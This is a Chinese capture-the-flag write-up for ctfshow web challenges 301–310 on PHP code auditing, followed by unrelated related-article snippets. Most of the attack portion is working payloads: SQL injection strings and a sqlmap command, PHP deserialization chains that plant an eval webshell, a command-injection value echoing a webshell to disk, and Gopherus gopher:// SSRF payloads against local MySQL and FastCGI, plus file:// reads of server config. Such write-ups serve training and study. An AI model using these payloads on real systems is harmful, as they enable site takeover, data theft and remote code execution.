ctf_show笔记篇(web入门---代码审计)

news/2024/5/19 22:26:04 标签: ctf, ctfshow, php代码审计, 反序列化, ssrf

301:多种方式进入

  1. 从index.php页面来看
    只需要访问index.php时session[login]不为空就能访问

    那么就在访问index.php的时候上传login = 随机一个东西就能进去
  2. 从checklogin页面来看sql注入没有任何过滤
    直接联合绕过

    密码随意

还有多种方式可以自己去看代码分析

302:和301同理

只是添加了一个,strcasecmp对比两个有什么区别,不区分大小写,相同输出0

if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])){

还将密码加密了一下,给'union select ??   这里的'问好'像下面一样加密一下

在传入未加密的数字

例如: 1234 加密以后3cd76fc2201d6959a8c1c63dbd906ec7

和301同样的解法

也是同样可以使用直接访问index.php然后传入session[login]=任意一个东西,只要不为空

303:  会判断传入的username长度了其余不变

这里尝试弱口令

密码admin

账户admin

这里再dpt页面找到数据传输位置

这里会将传输数据给到aptadd文件

这里的数据执行insert命令插入到数据表里

$sql="insert into sds_dpt set sds_name='".$dpt_name."',
sds_address ='".$dpt_address."',sds_build_date='".$dpt_build_year."',
sds_have_safe_card='".$dpt_has_cert."',
sds_safe_card_num='".$dpt_cert_number."',
sds_telephone='".$dpt_telephone_number."';";

这里利用报错注入

payload:

'and(select updatexml(1,concat(0x7e,(select substr(group_concat(flag),30,45) from sds_fl9g),0x7e),1))#

304:  增加了全局变量其他与303无差异

function sds_waf($str){
	return preg_match('/[0-9]|[a-z]|-/i', $str);
}

payload:

'and(select updatexml(1,concat(0x7e,(select substr(group_concat(flag)from sds_flaag,1,20)),0x7e),1))#

也可拿到sqlmap里去跑

1.txt文件内容

POST /dptadd.php HTTP/1.1
Host: e22b9690-cfab-425c-9cb7-2f9f6b750c26.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 112
Origin: http://e22b9690-cfab-425c-9cb7-2f9f6b750c26.challenge.ctf.show
Connection: close
Referer: http://e22b9690-cfab-425c-9cb7-2f9f6b750c26.challenge.ctf.show/dpt.php
Cookie: PHPSESSID=l16so97igh43ejc1g0gua2bffn
Upgrade-Insecure-Requests: 1

dpt_name=sd&dpt_address=ad&dpt_build_year=2024-03-06&dpt_has_cert=on&dpt_cert_number=sda&dpt_telephone_number=ad

sqlmap -r 1.txt --batch -D sds -T sds_flaag -C flag --dump

305:  存在反序列化漏洞

利用到file_put_contents可以写入shell

通过user传入,再用蚁剑连接数据库获得flag

306:  反序列化

从代码层面看,  最后是要利用到

class.php文件

现在开始反推,  去找哪里用到了close函数

在dao.php文件找到了当最后销毁序列化时调用close(__destruct魔法函数),  这里就要用到__construct魔法函数,  当执行new实例化的时候就会调用,  一会儿再去找哪里实例化了dao这个类,  将$this->config=new config()修改为$this->conn->=apt()

现在再去找哪里用new实例化了dao类

从这里嗯呢看到service.php文件里的__construct调用了new实例化dao

payload:

<?php
class log{
	public $title='1.php';
	public $info='<?php eval($_POST[a]);?>';
}

class dao{
	private $config;
	private $conn;

	public function __construct(){
		$this->conn=new log();
	}
}



echo base64_encode(serialize(new dao));

307:  

从这里看依旧时反序列化

login.php

这里本还是想调用这里的奈何没有嗲用点

不过好在在dao.php文件看到了执行命令的函数

这里$this->config->cache_dir指向了config类里的cache_dir变量,  刚好又是个public公共便变量可以修改

并且server.php也找到了执行此函数的地方

payload:

class dao{
    private $config;
    public function __construct(){
        $this->config=new config();
    }
}

class config{
	public $cache_dir = ';echo \'<?php eval(\$_POST[a]);?>\' > 1.php;';
}

echo base64_encode(serialize(new config));

308:  SSRF漏洞

这里本来还是想在cache_dir做文章使用命令,奈何这里设置了白名单,  只能使用字母

但好在这里还存在ssrf漏洞

这里还能知道数据库密码为空,那么可以直接使用root用户登录

这里利用Gopherus生成对mysql的ssrf注入

这里注意,传入点在index.php

payload:(使用gopherus的mysql执行命令有条件,  不能有密码)

<?php
class config{
	public $update_url = 'gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%45%00%00%00%03%73%65%6c%65%63%74%20%27%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%61%5d%29%3b%3f%3e%27%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%31%2e%70%68%70%27%01%00%00%00%01';
}
class dao{
	private $config;
	public function __construct(){
		$this->config=new config();
	}

}
$a=new dao();
echo base64_encode(serialize($a));
?>

309:依旧利用ssrf漏洞,  这一次需要打fastcgi

还是利用gopherus生成fastcgi的payload

poc:

<?php
class config{
	public $update_url = 'gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%00%F6%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH58%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%09SCRIPT_FILENAMEindex.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3A%04%00%3C%3Fphp%20system%28%27cat%20f%2A%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00';
}
class dao{
	private $config;
	public function __construct(){
		$this->config=new config();
	}

}
$a=new dao();
echo base64_encode(serialize($a));
?>

310:  

9000端口和6379端口都关了,  得做信息收集,通过field://协议访问本地文件

<?php
class config{
	public $update_url = 'file:///etc/nginx/nginx.conf';
}
class dao{
	private $config;
	public function __construct(){
		$this->config=new config();
	}

}
$a=new dao();
echo base64_encode(serialize($a));
?>

这里从返回信息来看,  在监听4476端口flag在var里面

直接去访问获取flag

<?php
class config{
	public $update_url = 'http://127.0.0.1:4476';
}
class dao{
	private $config;
	public function __construct(){
		$this->config=new config();
	}

}
echo base64_encode(serialize(new dao));
?>


http://www.niftyadmin.cn/n/5431860.html

相关文章

测评报告|2024 年主流实时音视频SDK提供商

引言 随着2024年的到来&#xff0c;实时通讯&#xff08;RTC&#xff09;技术已成为推动数字经济发展的关键因素。从最基础的文本、音频和视频通信扩展到即时消息、文件共享、语音呼叫、直播互动以及视频会议等多元化功能&#xff0c;RTC技术在各个行业中的应用日益广泛。根据…

汽车大灯罩汽车尾灯罩破裂裂纹破损破洞掉角崩角等问题能修复吗?怎么修复?

汽车大灯汽车尾灯破裂裂纹破损破洞掉角崩角等问题是一定可以修复的。 汽车灯罩的修复方法取决于灯罩的破损程度和材质。以下是一些常见的汽车灯罩修复方法&#xff1a; 肥皂水清洗&#xff1a;如果灯罩只是轻微模糊或发黄&#xff0c;可以使用肥皂水进行清洗。将肥皂水涂抹在…

(非代码层面)优化自己的本地langchain-chatglm3的QA效果思路分享。(持续更新)

前言 本篇不讲代码&#xff0c;仅分享一些优化自己处理QA任务的向量库大模型的方法。 背景 一、 大家有时制作基于langchain创建具有知识库的的本地GLM模型&#xff0c;在执行QA任务时。会发现效果会明显的差过智谱的智能体。个人认为原因主要是&#xff1a; 模型大小&…

Ps 滤镜:高斯模糊

Ps菜单&#xff1a;滤镜/模糊/高斯模糊 Filter/Blur/Gaussian Blur 高斯模糊 Gaussian Blur滤镜常用于快速给图像添加模糊效果。高斯模糊产生的效果是非常平滑的过渡&#xff0c;没有硬边缘&#xff0c;这使得模糊看起来自然且柔和。 通过对图像中的像素进行数学上的平滑处理来…

G4012溧宁高速青云岭隧道隧道高清晰广播现场测试效果视频

隧道作为高速公路的特殊路段&#xff0c;具有改善路线线形&#xff0c;缩短行车里程节省时间等优点。但高速公路隧道结构异于一般路面建筑&#xff0c;内部路基宽度相对狭窄、空间密闭性强、视野范围小、能见度低&#xff0c;行车环境较复杂&#xff0c;车辆行驶速度高、车流密…

Python控制摄像头并获取数据文件

一、引言 摄像头作为计算机视觉领域的核心设备之一&#xff0c;广泛应用于视频监控、图像采集和数据处理等领域。通过Python编程语言&#xff0c;我们可以实现对摄像头的精确控制&#xff0c;包括摄像头的开启、关闭、参数设置以及数据获取等功能。 目录 一、引言 二、摄像头…

<JavaEE> 应用层协议 -- DNS 协议

目录 初识DNS协议 什么是DNS协议&#xff1f; 域名和IP地址的关系&#xff1f; 详解DNS查询 DNS如何获得域名对应的IP地址&#xff1f; DNS的缓存机制 DNS完整查询过程 从浏览器键入URL&#xff0c;到网页显示的过程 为什么选择基于UDP协议发起DNS查询&#xff0c;而不…

非遗小常识我国哪种传统工艺品有“锦绣之冠”的称号?2024年3月16日蚂蚁新村今日问题正确答案是什么?

蚂蚁新村是一个虚拟社区。在这个虚拟社区中&#xff0c;用户可以参与各种活动&#xff0c;比如生产能量豆、做慈善捐赠等。同时&#xff0c;蚂蚁新村也提供了一些知识问答环节&#xff0c;用户在参与的过程中可以增进知识。这些问答内容往往涉及广泛的主题&#xff0c;如文化、…